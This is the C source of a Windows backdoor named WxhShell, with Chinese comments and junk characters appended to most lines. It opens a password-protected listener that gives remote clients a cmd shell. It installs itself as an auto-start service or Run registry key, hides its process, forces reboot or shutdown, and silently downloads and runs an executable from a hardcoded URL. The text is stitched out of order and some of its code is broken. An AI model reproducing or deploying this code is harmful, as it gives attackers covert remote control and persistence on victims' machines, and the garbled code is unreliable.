    if(Boot(SHUTDOWN)) [ye!3h&]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b)ytm=7ha  
    else { ^#-d^ )f;  
    closesocket(wsh); 4z6i{n-k  
    ExitThread(0); _v=S4A#tF  
    } k*XI/k5Vc  
    break; 9~3;upWu!  
    } V+`gkWe/  
  // 获取shell y,&'nk}  
  case 's': { HK}br!?  
    CmdShell(wsh); 2S%[YR>>  
    closesocket(wsh); |q| ?y`X4/  
    ExitThread(0); Aw?i6d  
    break; $~)BO_;o  
  } |T`ZK?B+u  
  // 退出 c,@&Z#IZ`  
  case 'x': { 3an9Rb V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YA+jLy6ZL  
    CloseIt(wsh); YkWv*l  
    break; arVu`pD*n  
    } ki|KtKAu_9  
  // 离开 bsCl w  
  case 'q': { 287g 5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  SXqWq  
    closesocket(wsh); FR*CiaD1  
    WSACleanup(); BQWhTS7  
    exit(1); yV"k:_O{  
    break; d `MTc  
        } J!{"^^*  
  } M~/Pk7CC  
  } b"4'*<=au  
'%Fg+cZN\  
  // 提示信息 -9PJ4"H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K Eda6zZH  
} 6=pE5UfT  
  } OdKfU^  
qStZW^lFeY  
  return; :zA/~/Wo  
} ov3FKMG?  
PI G3kJ  
// shell模块句柄 nm#ISueh  
int CmdShell(SOCKET sock) "aL.`^.  
{ x."R_>  
STARTUPINFO si; DUrfC[jpv  
ZeroMemory(&si,sizeof(si)); ?.{SYaS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 90"&KDh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >b;o&E`\  
PROCESS_INFORMATION ProcessInfo; 4*0C_F@RX  
char cmdline[]="cmd"; 7Gh+EJJ3I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K UD.hK.  
  return 0; ,|}}Ml  
} yN@3uYBF  
C4[)yJ  
// 自身启动模式 c/6  
int StartFromService(void) X&LaAqlSG  
{ <6.aSOS  
typedef struct cePe0\\  
{ 6 4,('+  
  DWORD ExitStatus; ;OMR5KAz  
  DWORD PebBaseAddress; @GVONluyU`  
  DWORD AffinityMask; CE5A^,EsB  
  DWORD BasePriority; hr@kU x  
  ULONG UniqueProcessId; $.+_f,tU  
  ULONG InheritedFromUniqueProcessId; 0#G@F5; <  
}   PROCESS_BASIC_INFORMATION; 42oW]b%P{;  
.#q]{j@Ot  
PROCNTQSIP NtQueryInformationProcess; ~:JoKm`vU  
!eu\ShI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !{1;wC(b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sj'Iz #  
d6+$[4w  
  HANDLE             hProcess; @D[tljc^  
  PROCESS_BASIC_INFORMATION pbi; v:F_! Q  
W5*Kq^6Pd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ""f'L,`{.  
  if(NULL == hInst ) return 0; P:#KBF;a  
8P?p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BQ:hUF3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 _oAs"w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A+=K<e  
@fQvAok  
  if (!NtQueryInformationProcess) return 0; P#!^9)3  
|NdWx1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ucDz f=o  
  if(!hProcess) return 0; PyoIhe&ep  
H/2dVUU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O0^?VW$y_  
;7>k[?'e  
  CloseHandle(hProcess); "Cz0r"N  
Jn&^5,J]F8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bu8AOtY9E-  
if(hProcess==NULL) return 0; Z35(f0b  
yE#.Q<4  
HMODULE hMod; O#@G .~n?  
char procName[255]; :Ahw{z`H#  
unsigned long cbNeeded; J))U YJO  
fi~jT"_CI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aGAeRF  
)61X,z  
  CloseHandle(hProcess); / q| o  
cC*H.N  
if(strstr(procName,"services")) return 1; // 以服务启动 <y=+Gh  
} *jmW P  
  return 0; // 注册表启动 %a:>3! +  
} hHk9O?  
|s'5 ~+  
// 主模块 i7b^b>B|e  
int StartWxhshell(LPSTR lpCmdLine) 8|{d1dy  
{ r i/CLq^D  
  SOCKET wsl; |{ @BH  
BOOL val=TRUE; z*)kK  
  int port=0; N(l  
  struct sockaddr_in door; eakQZ-Q  
r3NdE~OAi  
  if(wscfg.ws_autoins) Install(); l*w*e.ezQ  
hLr\;Swyp  
port=atoi(lpCmdLine); 4;2  
!%'"l{R  
if(port<=0) port=wscfg.ws_port; 6)veuA3]  
/E-s g, k  
  WSADATA data; &0`i(l4]l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [X 9zrGHt  
$x*(D|\'<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?[=OQ/E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X7rsO^}W  
  door.sin_family = AF_INET; Jr=XVQ(F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JRR,ooN*i  
  door.sin_port = htons(port); F!<!)_8Q  
(h|E@gRa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^GS\(egt  
closesocket(wsl); \<HY'[gr  
return 1; +i~kqiy.  
} T0{X,  
B|"-Ed  
  if(listen(wsl,2) == INVALID_SOCKET) { [pC2#_}  
closesocket(wsl); W2&(:C8V@  
return 1; aL&nD1f=!-  
} ,1B` Ve  
  Wxhshell(wsl); ?IG[W+M8  
  WSACleanup(); 8},:  
t,u;"%go  
return 0; Kk).KgR  
"QvTn=  
} N F,<^ u  
_fccZf(yC.  
// 以NT服务方式启动 @R Jr ~y0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [:zP]l.|  
{ ^'n;W<\p)  
DWORD   status = 0; c,:nWf  
  DWORD   specificError = 0xfffffff; p^1~o/  
S%j W} v';  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X"sJiFS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N 9s+Tm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L_tjclk0J  
  serviceStatus.dwWin32ExitCode     = 0; @)C.IQ~  
  serviceStatus.dwServiceSpecificExitCode = 0; 1H?I?IT30  
  serviceStatus.dwCheckPoint       = 0; w*]FJ-b<.j  
  serviceStatus.dwWaitHint       = 0; HQNpf1=D  
F5y&"Y_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 ZAZJn|  
  if (hServiceStatusHandle==0) return; Yd(<;JKF[  
CQPq5/@Y4  
status = GetLastError(); X}wo$t  
  if (status!=NO_ERROR) >Q=Q%~  
{ P;eXUF+jn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4peRbm  
    serviceStatus.dwCheckPoint       = 0; ~9PZ/( '  
    serviceStatus.dwWaitHint       = 0; pekNBq Wm  
    serviceStatus.dwWin32ExitCode     = status; ?AH B\S  
    serviceStatus.dwServiceSpecificExitCode = specificError; eM@xs<BR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 91-[[<  
    return; tAPf#7{|   
  } !;4Hh)2  
v o4U%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K $WMrp  
  serviceStatus.dwCheckPoint       = 0; +4Fw13ADE  
  serviceStatus.dwWaitHint       = 0; Q/q>mN"#1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B}"V.Msv/  
} <'QI_mP*  
)}P/xY0  
// 处理NT服务事件,比如:启动、停止 cwOa"]t}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^]D+H9Tl  
{ Sx8C<S5r<  
switch(fdwControl) MxH |yo[  
{ !b=W>5h  
case SERVICE_CONTROL_STOP: *^w}SE(  
  serviceStatus.dwWin32ExitCode = 0; Ss0I{0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 C9ny}  
  serviceStatus.dwCheckPoint   = 0; F B:nkUR`  
  serviceStatus.dwWaitHint     = 0; <xe_t=N  
  { LIrebz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 6M?ecN  
  } ddN G :  
  return; $ U7#3-'  
case SERVICE_CONTROL_PAUSE: tLxeq?Oo]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wffz&pR8  
  break; &E1m{gB(  
case SERVICE_CONTROL_CONTINUE: Qm=iCZ|E^!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xI.0m  
  break; ~4|Trz2T  
case SERVICE_CONTROL_INTERROGATE: 'c_K[p$  
  break; 5f MlOP_  
}; nW} s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xQ2: tY#?  
} CB X}_]9X  
1 +Ue m  
// 标准应用程序主函数 1J72*`4OK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S;y4Z:!  
{ E [6:}z<  
>t<\zC|~w  
// 获取操作系统版本 r6R@"1/  
OsIsNt=GetOsVer(); c-v-U O%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RehraY3q  
B=$O4nW_b  
  // 从命令行安装 ?20R\ ]U  
  if(strpbrk(lpCmdLine,"iI")) Install(); MTN*{ug2:  
HOF=qE*p  
  // 下载执行文件 =LODX29  
if(wscfg.ws_downexe) { I!Z"X&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i(OeE"YA  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6B%  h  
} !A1~{G2VL_  
z [ 'G"yCi  
if(!OsIsNt) { $PI9vyS  
// 如果时win9x,隐藏进程并且设置为注册表启动 YRCs&tgs  
HideProc(); mU~&oU  
StartWxhshell(lpCmdLine); N'-[>w7vK2  
} U$<" . q  
else &r~s3S{pQ  
  if(StartFromService()) QQ_7Q^  
  // 以服务方式启动 H9PnJr8 \  
  StartServiceCtrlDispatcher(DispatchTable); 1q@R04i  
else 4P"bOt5izR  
  // 普通方式启动 kN78j  
  StartWxhshell(lpCmdLine); I{r*Y9  
"*.N'J\  
return 0; }r!+wp   
} t=xEUOQAn  
qTN%9!0@9  
9(nq 4 HvI  
,lStT+A  
=========================================== ,i??}Wm5G  
.}v" `>x  
T1*.3_wtP  
k].swvIi  
cJv/)hRaz  
{=?(v`88  
" *coUHbP9>  
AWYlhH4c?t  
#include <stdio.h> >;' 0ymG.`  
#include <string.h> P"l'? `  
#include <windows.h> Je6wio- 4  
#include <winsock2.h>  qT!lq  
#include <winsvc.h> @4D{lb"{  
#include <urlmon.h> ^=n7E  
Q$:Q6 /5.  
#pragma comment (lib, "Ws2_32.lib") eBs.RR ]O  
#pragma comment (lib, "urlmon.lib") 7s#8-i  
oI[rxr  
#define MAX_USER   100 // 最大客户端连接数 R ZQH#+*t}  
#define BUF_SOCK   200 // sock buffer 80_w_i+  
#define KEY_BUFF   255 // 输入 buffer * 4Ldh}S!  
'j<u0'K@  
#define REBOOT     0   // 重启 ]X77?Zz9  
#define SHUTDOWN   1   // 关机 N0-J=2  
N0Y4m_dm*  
#define DEF_PORT   5000 // 监听端口 y.J>}[\&x  
}8#Ed;%K  
#define REG_LEN     16   // 注册表键长度 Ie!&FQe2q  
#define SVC_LEN     80   // NT服务名长度 e\ cyiW0  
-l57!s~V  
// 从dll定义API pCrm `hy(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vub6wb<G[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +(92}~RK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1(dKb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aEvbGo  
yDKH;o  
// wxhshell配置信息 rU&Y/  
struct WSCFG { =CRptk6tS  
  int ws_port;         // 监听端口 iiMS3ueF  
  char ws_passstr[REG_LEN]; // 口令 )=d)j^ t9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7xv9v1['  
  char ws_regname[REG_LEN]; // 注册表键名 jhQoBC>:  
  char ws_svcname[REG_LEN]; // 服务名 =>`z k^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'JJKnE zQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "q+Z*   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g.@[mf0r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gqy>;A:kO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D@gC(&U/6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~M-L+XZl(  
cI@qt>&  
}; 2m:K %Em6u  
(0b\%;}  
// default Wxhshell configuration 7=^}{  
struct WSCFG wscfg={DEF_PORT, 4S ~kNp$  
    "xuhuanlingzhe", A1-,b.Ni  
    1, \ *[Ht!y  
    "Wxhshell", T@U,<[,   
    "Wxhshell", Cj-&L<  
            "WxhShell Service", 1:](=%oM&k  
    "Wrsky Windows CmdShell Service", x@Z{5w_a  
    "Please Input Your Password: ", !zF0 7.(E  
  1, 5l1R")0`t_  
  "http://www.wrsky.com/wxhshell.exe", 7<!x:G?C  
  "Wxhshell.exe" '~K]=JP  
    }; KFHZ3HZ:>  
T=tW'tlT\v  
// 消息定义模块 v0oVbHO5<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ^AaE$G&:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *)-@'{]uB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 452kE@=49  
char *msg_ws_ext="\n\rExit."; <3BGW?=WP  
char *msg_ws_end="\n\rQuit."; l3>e-kP  
char *msg_ws_boot="\n\rReboot..."; x0J W  
char *msg_ws_poff="\n\rShutdown..."; # euG$(  
char *msg_ws_down="\n\rSave to "; `x/i1^/_@  
x>Q% hl  
char *msg_ws_err="\n\rErr!"; $M,<=.oT  
char *msg_ws_ok="\n\rOK!"; 4tLdqs  
go AV+V7  
char ExeFile[MAX_PATH]; 4~h 0/H"  
int nUser = 0; (9I(e^@]  
HANDLE handles[MAX_USER]; sIf]e'@AC  
int OsIsNt; fEXFnQ#  
\ opM}qZ  
SERVICE_STATUS       serviceStatus; e[u}Vf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ajk}&`Wj"  
B2Y.1mXq  
// 函数声明 NL$z4m0  
int Install(void); }k-8PG =  
int Uninstall(void); ^rO"U[To  
int DownloadFile(char *sURL, SOCKET wsh); 1bQO:n):~  
int Boot(int flag); c.Sd~k:3  
void HideProc(void); |YROxY"ML  
int GetOsVer(void); >P~*@>e  
int Wxhshell(SOCKET wsl); uq s   
void TalkWithClient(void *cs); 9)W3\I>U-  
int CmdShell(SOCKET sock); ~k"b"+2  
int StartFromService(void); ial{A6X  
int StartWxhshell(LPSTR lpCmdLine); 4x[_lsj   
rIcgf1v70  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yjL+1_"B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?SFQx \/  
j [lS.Lb  
// 数据结构和表定义 06^/zr  
SERVICE_TABLE_ENTRY DispatchTable[] = z6@8IszU  
{ [?I<$f"  
{wscfg.ws_svcname, NTServiceMain}, HP]5"ziA  
{NULL, NULL} AJEbiP  
}; iZy>V$Aq  
NT 5=%X]  
// 自我安装 I*.nwV<  
int Install(void) :Q("  
{ Ue 9Y+'-x  
  char svExeFile[MAX_PATH]; _-y1>{]H  
  HKEY key; TYGI f4z  
  strcpy(svExeFile,ExeFile); 56<UxIa~  
tdxzs_V,-  
// 如果是win9x系统,修改注册表设为自启动 1Y$%| `  
if(!OsIsNt) { ,Kj>F2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a)pc+w#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mbkt7. ,P  
  RegCloseKey(key); a($7J6]M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }p*|8$#x"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x6R M)rr  
  RegCloseKey(key); %50)?J=zB  
  return 0; }Mt)57rU  
    } wW*7  
  } 7ihcjyXB  
} rHw#<oV  
else { 8+|W%}  
s,#We} bv  
// 如果是NT以上系统,安装为系统服务 9zqo!&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v[ML=pL  
if (schSCManager!=0) 4Z%1eOR9V  
{ /A,w{09G  
  SC_HANDLE schService = CreateService 3S+9LOrhY  
  ( PF/K&&9}  
  schSCManager, #)~u YQ  
  wscfg.ws_svcname, 63l& ihj  
  wscfg.ws_svcdisp, f4P({V  
  SERVICE_ALL_ACCESS, ^zV_ vB)n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C\5G43`  
  SERVICE_AUTO_START, QyVAs;  
  SERVICE_ERROR_NORMAL, )S+fc=  
  svExeFile, D#1R$4M=  
  NULL, Og%Y._  
  NULL, &j1-Ouy  
  NULL, J1I,;WGf  
  NULL, _"@:+f,  
  NULL Up?RN%gq  
  ); <!>\ n\A  
  if (schService!=0) tlp,HxlP  
  { ZN)EbTpc\a  
  CloseServiceHandle(schService); <(>t"<  
  CloseServiceHandle(schSCManager); 9.\SeJ8c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VrPsy) J68  
  strcat(svExeFile,wscfg.ws_svcname); #'1dCh vZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /Z?o%/bw:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _?O'A"  
  RegCloseKey(key); LJ <pE;`d  
  return 0; gQ0,KYmI3_  
    } 3,q?WH%_  
  } ``jNj1t{}  
  CloseServiceHandle(schSCManager); ]P wS3:x  
} Y}R$RDRL  
} 2 G_KTYJ  
+U<YM94?  
return 1; B@M9oNWHu  
} g=nb-A{#  
uFSU|SDd.  
// 自我卸载 5GScqY,aB  
int Uninstall(void) i!}k5k*Z  
{ 7s6+I_n  
  HKEY key; Ed u(dZbKg  
{ DP9^hg  
if(!OsIsNt) { ].xSX0YQ%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %:`v.AG  
  RegDeleteValue(key,wscfg.ws_regname); C5V}L  
  RegCloseKey(key); 6:|;O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N\__a~'0p  
  RegDeleteValue(key,wscfg.ws_regname); /5Qh*.(S  
  RegCloseKey(key); Qb?a[[3  
  return 0; !gW`xVGv  
  } \;N+PE  
} "dIWHfQB  
} @ywtL8"1~  
else { Jfr'OD2$ %  
WT,I~'r=S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bT 42G [x  
if (schSCManager!=0) n',X,P0  
{ {H[N|\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7d>w]R,Z  
  if (schService!=0) Ygk_gBRiC  
  { R q@|o5O  
  if(DeleteService(schService)!=0) { 6vbKKn`ST  
  CloseServiceHandle(schService); 1ygEyC[1  
  CloseServiceHandle(schSCManager); G(wK(P0j  
  return 0; BH {z]a  
  } I ==)a6^  
  CloseServiceHandle(schService); 'qT;Eht5  
  } +Xw%X3o)  
  CloseServiceHandle(schSCManager); dQ{qA(m  
} >&;J/ME  
} ]'Eg2(wy  
zGU MH7 M  
return 1; ?:9y !Q=  
} iT==aJ=~/&  
V WZpEi  
// 从指定url下载文件 2o<*rH  
int DownloadFile(char *sURL, SOCKET wsh) I"czo9Yspd  
{ W8^A{l4  
  HRESULT hr; HI|egf@  
char seps[]= "/"; 8[J%TWq%9  
char *token; ]dGH i \  
char *file; ek<B=F  
char myURL[MAX_PATH]; of*T,MUI  
char myFILE[MAX_PATH]; uQdH ():  
z{OL+-OY  
strcpy(myURL,sURL); n+sv2Wv:  
  token=strtok(myURL,seps); 4_-&PZ,d  
  while(token!=NULL) 3LfF{ED@  
  { m]U  
    file=token; KdozB!\  
  token=strtok(NULL,seps); aPxSC>p  
  } 9~Sa7P  
]>)shH=Yx  
GetCurrentDirectory(MAX_PATH,myFILE); 7WmLC  
strcat(myFILE, "\\"); H][TH2H1  
strcat(myFILE, file); :MF`q.:X  
  send(wsh,myFILE,strlen(myFILE),0); ku m@cA  
send(wsh,"...",3,0); f3! Oc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xSN;vrLHR  
  if(hr==S_OK) ,YM=?No  
return 0; rR@]`@9  
else ]_B<K5  
return 1; %%X/gvaJ  
yWRIh*>nE  
} iSf%N>y'K  
\m)s"Sh.  
// 系统电源模块 %52e^,//  
int Boot(int flag) XuJyso9kA  
{ X~VI}dJ  
  HANDLE hToken; =:g\I6'a  
  TOKEN_PRIVILEGES tkp; =t_+ajY%  
`m(ZX\W]  
  if(OsIsNt) { A94:(z;{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h *;c"/7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y S7lB  
    tkp.PrivilegeCount = 1; c$[2tZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]g$ky.;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2&S^\kf  
if(flag==REBOOT) { ~`e!$=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ' u<IS/w  
  return 0; }Jh.+k|_  
} aK6dy\  
else { a7_Q8iMe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) am/}V%^  
  return 0; .a2R2~35  
} .&b^6$dC  
  } Hz,Gn9:p  
  else { GtmoFSZ  
if(flag==REBOOT) { Y{j~;G@Wl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `/m] K ~~  
  return 0; hb8oq3*x  
} /[Fk>Vhp  
else { ^3sv2wh^|8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?pJ2"/K   
  return 0; D#'CRJh;7  
} $9\8?gS  
} HHw&BNQG  
gLt6u|0q  
return 1; hO> q|+mC  
} Bkq4V$D_  
oNXYBeu+  
// win9x进程隐藏模块 Iw[zN[oz  
void HideProc(void) 9-j-nx @)  
{ DmgDhNXKq  
lv] U)p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .=}\yYGe   
  if ( hKernel != NULL ) {@Lun6\  
  { +~F>:v?Rh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A iR#:r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?@x$ h  
    FreeLibrary(hKernel); .mrv"k\<  
  } 1H">Rb30@  
P2ySjgd  
return; vRaxB  
} 4 w*m]D{  
$U ._4  
// 获取操作系统版本 a m5;B`}q  
int GetOsVer(void) Rh~j -;  
{ F6CuY$0m=  
  OSVERSIONINFO winfo; D`41\#ti  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?-&k?I  
  GetVersionEx(&winfo); ?7CdJgJp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2vUcSKG7  
  return 1; D3g5#.$,}>  
  else +-t&li%F  
  return 0; (Q `Ps /  
} x^[0UA]S9  
!|VtI$I>x  
// 客户端句柄模块 ]Y?ZUSCJ  
int Wxhshell(SOCKET wsl) nY;Sk#9  
{ hQ:wW}HWW  
  SOCKET wsh; BHz_1+d  
  struct sockaddr_in client; g;R  
  DWORD myID; _G4 U  
c9uu4%KG6<  
  while(nUser<MAX_USER) hb1h .F  
{ [Ti ' X#  
  int nSize=sizeof(client); _{if"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ffB<qf)?G  
  if(wsh==INVALID_SOCKET) return 1; d/TFx  
9gK1Gx:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ]E :L  
if(handles[nUser]==0) "6WJj3h N  
  closesocket(wsh); kN<;*jHV  
else 8=f+`e  
  nUser++; }3 ~*/30V  
  } yhK9rcJq6}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B[&l<*O-y  
yIpgZ0:h  
  return 0; #Sy~t{4  
} i%f C`@  
,,EG"Um6  
// 关闭 socket U;ujN8  
void CloseIt(SOCKET wsh) !f!YMpN  
{ "_dJ4<8  
closesocket(wsh); 4u2_xbT  
nUser--; #EKnjh=Uq  
ExitThread(0); e=jtF"&  
} qoph#\  
fk2Uxg=[  
// 客户端请求句柄 A&KY7[<AC{  
void TalkWithClient(void *cs) 9l&G2 o   
{ |tY6+T}  
S:2 xm8 i  
  SOCKET wsh=(SOCKET)cs; ept:<!4  
  char pwd[SVC_LEN]; {9@E[bWp#  
  char cmd[KEY_BUFF]; DB jUHirK  
char chr[1]; Q[`2? j?  
int i,j; .Xxxz Wyk  
"AWk jdj  
  while (nUser < MAX_USER) { K;`*n7=IA  
1-4[w *u>  
if(wscfg.ws_passstr) { _{B2z[G}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v+C D{Tc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~d3BVKP5  
  //ZeroMemory(pwd,KEY_BUFF); Ym]rG 4  
      i=0; !"08TCc<  
  while(i<SVC_LEN) { guy!/zQ>A  
@[/!e`]+  
  // 设置超时 %<q"&]e,  
  fd_set FdRead; )5<dmK@  
  struct timeval TimeOut; ``Um$i~e%  
  FD_ZERO(&FdRead); Ex}TDmTu  
  FD_SET(wsh,&FdRead); H 0Sm4  
  TimeOut.tv_sec=8; b?9'-hK<  
  TimeOut.tv_usec=0; (d <pxx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z;0]T=g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ifQLsHA  
3U?^49bJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A}"uEk(R  
  pwd=chr[0]; oY@]&A^ah  
  if(chr[0]==0xd || chr[0]==0xa) { m1p% ,  
  pwd=0; el^<M,7!  
  break; t!ZFpMv]n  
  } q<fj1t1w  
  i++; dt>!=<|k  
    } Z%-uyT@a  
6|Rj YX  
  // 如果是非法用户,关闭 socket w' 5W L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?GZ?HK|  
} b DF_  
YWq{?'AaR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4 >D5t)254  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fG7-0 7  
PO2]x:  
while(1) { r7)iNTQ1  
E?m W4?  
  ZeroMemory(cmd,KEY_BUFF); .e:+Ek+  
0wETv  
      // 自动支持客户端 telnet标准   8,m:  
  j=0; 8H SGOs =8  
  while(j<KEY_BUFF) { F|WH=s3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); okW'}@jD  
  cmd[j]=chr[0]; C|ou7g4'p  
  if(chr[0]==0xa || chr[0]==0xd) { \ItAc2,Fl  
  cmd[j]=0; \g@jc OKU  
  break; XoiZ"zE  
  } AkqGk5e ^  
  j++; afcyAzIB&  
    } AqrK==0N  
0*u X2*  
  // 下载文件 <DdzDbgax  
  if(strstr(cmd,"http://")) { l)0yv2[h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xb*>7U/'T  
  if(DownloadFile(cmd,wsh)) lU3Xd_v O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %x$mAOUv  
  else 0I.!  
